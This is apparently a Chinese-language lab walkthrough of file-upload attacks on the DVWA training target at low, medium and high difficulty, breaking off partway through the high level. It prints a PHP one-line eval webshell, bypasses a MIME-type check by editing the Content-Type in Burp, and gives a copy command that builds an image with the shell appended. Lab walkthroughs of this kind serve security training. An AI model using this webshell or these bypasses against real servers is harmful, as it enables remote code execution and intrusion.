文件上传漏洞--dvwa

low

1. 启动dvwa 靶场

2. 上传一句话木马<?php @eval($_REQUEST[777]);phpinfo();?>

3. 上传成功，文件路径已经给出，访问一下

4. PHP 代码成功运行，尝试蚁剑连接连接成功

medium

1. 尝试上传一句话木马

上传失败，提示只能上传JPEG、PNG格式的文件，应该是对文件的类型做了限制

2. 查看源代码
此处，对文件的类型和大小做了过滤

3. BP抓个包
将文件类型改为image/png提示上传成功

4. 访问一下

5. PHP 代码成功运行，尝试进行蚁剑连接
连接成功

high

1. 上传一句话木马，开启BP拦截，抓取数据包

   

2. 文件上传失败，提示只能上传类型为JPEG、PNG的文件
3. 修改文件名为1.png ，文件类型为image/png尝试上传
   上传失败

   

4. 上传一张正常的图片，查看一下文件上传功能是否正常

   

5. 上传一张正常的图片，能够上传成功，文件上传功能正常
6. 使用命令做一张图片木马
   copy dvwa.png/b+1.php/a dvwa_1.png

   

7. 图片的末尾有一句话木马

   

8. 尝试上传图片木马
   上传成功

   

9. 虽然文件已经上传成功，但是不能getshell
   找到刚才上传图片木马的数据包